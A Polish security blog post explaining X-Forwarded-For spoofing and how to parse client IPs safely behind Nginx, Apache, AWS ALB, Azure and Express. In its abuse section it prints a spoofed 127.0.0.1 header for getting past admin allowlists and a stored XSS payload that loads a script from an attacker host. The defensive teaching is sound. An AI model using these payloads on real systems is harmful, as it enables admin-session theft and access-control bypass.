Przejdź do głównej zawartości

X-Forwarded-For: dlaczego parsowanie od lewej to gotowy bypass

· 9 min aby przeczytać
Przemysław Majdak
Full-Stack Developer, Automation Engineer & Web Security Specialist

Nagłówek X-Forwarded-For nie jest źródłem prawdy o adresie IP klienta — jest zwykłym polem HTTP, które każdy może wpisać ręcznie w curl. Cała jego wiarygodność bierze się wyłącznie z tego, że aplikacja wie, którym proxy ufa i ile ich stoi przed nią. Aplikacja, która bierze pierwszy adres z lewej strony listy, właśnie oddała atakującemu pilota do rate limitingu, geolokalizacji i list dostępu opartych o IP. Poniżej: mechanika nagłówka, konkretne wektory nadużyć i poprawna konfiguracja w Nginx, Apache, AWS ALB, Azure Application Gateway oraz Express.

Skąd w ogóle problem​

W prostym modelu — przeglądarka łączy się bezpośrednio z serwerem — identyfikacja klienta jest darmowa. Serwer czyta adres z gniazda TCP i ma jednoznaczną odpowiedź.

Dzisiejszy ruch tak nie wygląda. Typowa ścieżka pakietu:

Klient (203.0.113.50) → CDN (198.41.215.10) → Load balancer (10.0.0.5) → aplikacja

Każdy przeskok to nowe połączenie TCP. Aplikacja widzi 10.0.0.5 i nic poza tym. Konsekwencje są bardzo praktyczne:

  • Logi i audyt — wszystkie zdarzenia mają ten sam adres wewnętrznego proxy, korelacja incydentu przestaje działać.
  • Rate limiting — cały ruch z LB liczy się jako jeden klient, więc limit albo nie działa, albo blokuje wszystkich naraz.
  • Geolokalizacja — regionalizacja treści i licencjonowanie opierają się o lokalizację proxy.
  • ACL — reguły „panel admina tylko z sieci biurowej" tracą podstawę.

Odpowiedzią na to są nagłówki X-Forwarded-For i standaryzowany Forwarded.

Jak to działa: XFF i RFC 7239​

X-Forwarded-For nigdy nie został ustandaryzowany — to de facto standard branżowy, opisany m.in. w dokumentacji MDN. Format to lista adresów rozdzielona przecinkami, od lewej (oryginalny klient) do prawej (najświeższy przeskok):

X-Forwarded-For: <klient>, <proxy1>, <proxy2>

Ewolucja nagłówka w łańcuchu z przykładu wyżej:

EtapWartość nagłówka
Klient → CDN(brak nagłówka)
CDN → LBX-Forwarded-For: 203.0.113.50
LB → aplikacjaX-Forwarded-For: 203.0.113.50, 198.41.215.10

Uwaga na asymetrię: adresu ostatniego przeskoku (10.0.0.5) w nagłówku nie ma — ten adres aplikacja bierze z gniazda TCP. To kluczowe dla poprawnego algorytmu parsowania, o którym niżej.

Wersja ustandaryzowana to Forwarded z RFC 7239 — format klucz-wartość, dyrektywy rozdzielone średnikami, przeskoki przecinkami:

Forwarded: for=203.0.113.50, for=198.41.215.10;proto=https;by=10.0.0.5

Cztery oficjalne dyrektywy: for (klient lub poprzednie proxy), by (interfejs proxy, który odebrał żądanie — może być celowo zaciemniony), proto (http/https), host (oryginalny Host). Adresy IPv6 w Forwarded są ujmowane w nawiasy kwadratowe i cudzysłów: for="[2001:db8:cafe::17]" — w klasycznym XFF występują jako goły ciąg. To realna pułapka przy pisaniu parsera obsługującego oba formaty.

W praktyce spotkasz też rodzeństwo: X-Forwarded-Proto (oryginalny protokół), X-Forwarded-Host (oryginalny Host), X-Forwarded-Port oraz X-Real-IP — nieoficjalny nagłówek spopularyzowany przez Nginx, zawierający pojedynczy adres zamiast łańcucha.

Słaby punkt Forwarded: mimo że to formalny RFC z 2014 roku, wsparcie w narzędziach i bibliotekach jest wyraźnie słabsze niż dla XFF. Migracja na sam Forwarded zwykle kończy się utrzymywaniem obu nagłówków równolegle, więc realny zysk jest mniejszy, niż sugeruje status standardu.

Wektory nadużycia​

Wszystko powyższe działa tylko pod warunkiem, że nagłówek dopisało zaufane proxy. Jeśli aplikacja nie wie, komu ufa, atakujący wpisuje sobie dowolną wartość:

GET /api/admin HTTP/1.1
Host: contoso.com
X-Forwarded-For: 127.0.0.1

Naiwny parser czytający pierwszy adres z lewej uzna, że żądanie przyszło z localhosta — a 127.0.0.1 bardzo często siedzi na whiteliście panelu administracyjnego. Ten sam trick rozbija rate limiting: wystarczy inkrementować zmyślony adres przy każdej próbie logowania i licznik brute-force nigdy nie dobija do progu.

Drugi, mniej oczywisty wektor to blind stored XSS. Adresy IP z nagłówków lądują w bazie i są wyświetlane w panelach admina jako historia logowań. Jeśli nie ma walidacji formatu, w miejsce adresu wchodzi payload:

X-Forwarded-For: '"><script src=https://attacker.example.net/s.js></script>

Skrypt wykonuje się w kontekście sesji administratora w momencie otwarcia panelu audytowego — czyli w miejscu, które z definicji ma najwyższe uprawnienia. Napastnik nie widzi odpowiedzi (stąd „blind"), ale nie musi: exfiltracja ciasteczka idzie out-of-band.

Warto pamiętać, że XFF nie jest jedynym kandydatem. OWASP wymienia w kontekście IP spoofingu cały zestaw: Client-IP, CF-Connecting-IP, X-Real-IP, True-Client-IP, X-Originating-IP, WL-Proxy-Client-IP. Zasada jest jedna i bezwarunkowa: to są dane wejściowe od użytkownika, dopóki nie udowodnisz, że dopisał je Twój własny komponent brzegowy.

Poprawny algorytm: od prawej, nie od lewej​

Bezpieczne parsowanie polega na przejściu listy od prawej do lewej i odrzucaniu kolejnych adresów należących do znanej, zaufanej infrastruktury. Pierwszy adres, który nie jest zaufanym proxy, to najbliższa prawdzie tożsamość klienta — wszystko na lewo od niego mógł dopisać atakujący.

import ipaddress

TRUSTED_PROXIES = [
ipaddress.ip_network('10.0.0.0/8'), # wewnętrzne LB
ipaddress.ip_network('198.41.128.0/17'), # zakres CDN
]

def is_trusted(ip_str: str) -> bool:
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return False
return any(ip in net for net in TRUSTED_PROXIES)


def get_trusted_client_ip(xff_header: str, connection_ip: str) -> str:
"""Zwraca pierwszy niezaufany adres, idąc od prawej strony łańcucha."""
# Krok zerowy: jeśli bezpośredni peer nie jest naszym proxy, nagłówek
# jest bezwartościowy — ktoś puka do aplikacji z pominięciem brzegu.
if not is_trusted(connection_ip) or not xff_header:
return connection_ip

for ip_str in reversed([ip.strip() for ip in xff_header.split(',')]):
try:
ipaddress.ip_address(ip_str)
except ValueError:
# nie-IP w łańcuchu = wpis sfałszowany, dalej nic nie jest wiarygodne
break
if not is_trusted(ip_str):
return ip_str

# cały łańcuch to zaufane proxy — klientem jest bezpośredni peer
return connection_ip

Trzy rzeczy w tym kodzie są celowe i warto je uzasadnić:

  1. Sprawdzenie connection_ip przed czymkolwiek innym. To jest krok, który najłatwiej pominąć, a jego brak wywraca całą funkcję: jeśli żądanie przyszło bezpośrednio do aplikacji, z pominięciem load balancera, to nagłówek XFF w całości napisał atakujący i nie wolno z niego wziąć ani jednego adresu. Parser bez tej bramki jest podatny dokładnie na atak, przed którym miał chronić.
  2. Wartość niebędąca adresem IP przerywa pętlę, a nie jest pomijana. Pominięcie (continue) pozwala atakującemu wstrzyknąć śmieć w środek łańcucha i przesunąć punkt zatrzymania. Skoro łańcuch jest niespójny, dalsze wpisy nie mają wiarygodności.
  3. Fallback to connection_ip, nie skrajnie lewy adres. Zwracanie ips[0], gdy nic nie pasuje, przywraca tę samą podatność, którą algorytm miał usunąć.

Słaby punkt tego podejścia: działa tylko wtedy, gdy lista zaufanych podsieci jest aktualna. Zakresy CDN się zmieniają — jeśli nikt nie odświeża TRUSTED_PROXIES, po zmianie po stronie dostawcy funkcja zacznie zwracać adres proxy zamiast klienta i zepsuje rate limiting po cichu, bez żadnego błędu. Alternatywa oparta o stałą liczbę przeskoków (trust proxy: 2) jest odporna na zmiany zakresów, ale rozjeżdża się przy każdej zmianie topologii. Obu wariantów trzeba pilnować — nie ma wersji „ustaw i zapomnij".

Konfiguracja warstwy brzegowej​

Nginx — ngx_http_realip_module​

set_real_ip_from 10.0.0.0/8; # zaufana sieć LB
set_real_ip_from 172.16.0.0/12;
set_real_ip_from 103.21.244.0/22; # przykładowy zakres CDN
real_ip_header X-Forwarded-For;
real_ip_recursive on;

Semantyka jest dokładnie taka, jak w algorytmie wyżej, ale zależy od jednego przełącznika (nginx.org). Z real_ip_recursive on adres klienta zostaje zastąpiony ostatnim niezaufanym adresem z nagłówka. Z domyślnym off — po prostu ostatnim adresem z nagłówka, bez sprawdzania, czy to nie jest kolejne Twoje proxy. W łańcuchu CDN + LB z przykładu wyżej off daje więc adres CDN-a zamiast klienta. Domyślna wartość to off, więc samo dopisanie set_real_ip_from bez real_ip_recursive on nie wystarczy.

Apache — mod_remoteip​

<IfModule mod_remoteip.c>
RemoteIPHeader X-Forwarded-For
RemoteIPTrustedProxy 10.0.0.0/8
RemoteIPTrustedProxy 172.16.0.0/12
</IfModule>

Analogiczna semantyka: RemoteIPTrustedProxy definiuje, którym przeskokom wolno modyfikować tożsamość (httpd.apache.org).

AWS Application Load Balancer​

ALB pozwala wybrać jeden z trzech trybów obsługi XFF atrybutem routing.http.xff_header_processing.mode (docs.aws.amazon.com):

Żądanie wejścioweappend (domyślny)preserveremove
Brak XFFX-Forwarded-For: 127.0.0.1brak nagłówkabrak nagłówka
X-Forwarded-For: 127.0.0.4127.0.0.4, 127.0.0.1127.0.0.4brak nagłówka
X-Forwarded-For: 127.0.0.4, 127.0.0.8127.0.0.4, 127.0.0.8, 127.0.0.1127.0.0.4, 127.0.0.8brak nagłówka

(W tabeli 127.0.0.1 odwzorowuje adres ostatniego przeskoku, zgodnie z konwencją przykładów w dokumentacji AWS.)

Ustawienie z CLI:

aws elbv2 modify-load-balancer-attributes \
--load-balancer-arn <arn> \
--attributes "Key=routing.http.xff_header_processing.mode,Value=preserve"

Tryb remove jest najbezpieczniejszy tam, gdzie aplikacja i tak nie potrzebuje IP klienta — usuwa całą klasę problemu zamiast ją konfigurować.

Azure Application Gateway​

Azure domyślnie przekazuje XFF w formacie IP:Port, co wywraca parsery zakładające czysty adres — bardzo częsty objaw przy CMS-ach za bramą. Rozwiązaniem jest przepisanie nagłówka na zmienną serwerową add_x_forwarded_for_proxy, która zawiera adres bez portu (learn.microsoft.com).

Node.js / Express​

Domyślne trust proxy: false każe Express czytać adres z gniazda (req.socket.remoteAddress) i to jest bezpieczny default. Ustawienie trust proxy: true powoduje zaufanie skrajnie lewej wartości XFF — czyli dokładnie ten bypass, o którym mowa w tym wpisie. Bezpiecznie: podaj liczbę przeskoków albo tablicę podsieci (expressjs.com). Biblioteka proxy-addr, na której Express bazuje, rozumie nazwane zestawy: loopback (127.0.0.1/8), linklocal (169.254.0.0/16), uniquelocal (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Checklista wdrożeniowa​

  • Nigdy nie ufaj XFF bezwarunkowo. Brak jawnej listy zaufanych proxy = brak ochrony, niezależnie od jakości parsera.
  • Parsuj od prawej. Wpisy z lewej traktuj jako kontrolowane przez atakującego, dopóki nie przejdą przez listę zaufanych.
  • Waliduj format przed zapisem do bazy. Wartość, która nie parsuje się jako adres IP, nie ma prawa trafić do logu ani panelu admina. Dla pola o tak wąskiej dziedzinie jak adres IP walidacja wejścia jest tania i skuteczna — ale nie zastępuje kodowania na wyjściu, które pozostaje podstawową obroną przed XSS. Rób jedno i drugie.
  • Ujednolicaj IPv6 między formatem Forwarded ("[2001:db8::1]") a XFF (goły adres).
  • Odetnij backend od internetu. Serwery aplikacyjne powinny przyjmować ruch na 80/443 wyłącznie z adresów LB. Inaczej cała warstwa zaufania jest do obejścia jednym żądaniem wysłanym bezpośrednio.
  • Za Cloudflare czytaj CF-Connecting-IP — pojedynczy adres zweryfikowany na brzegu, bez parsowania łańcucha (developers.cloudflare.com). Warunek konieczny ten sam: ruch bezpośrednio do origin musi być zablokowany, inaczej nagłówek podrobi każdy.

Ostatni punkt jest tym, o którym najczęściej się zapomina. Cała konstrukcja zaufania do nagłówków opiera się na jednym założeniu: że nikt nie dogada się z aplikacją z pominięciem brzegu. Jeśli origin odpowiada na ruch z całego internetu, set_real_ip_from i CF-Connecting-IP są tylko dekoracją.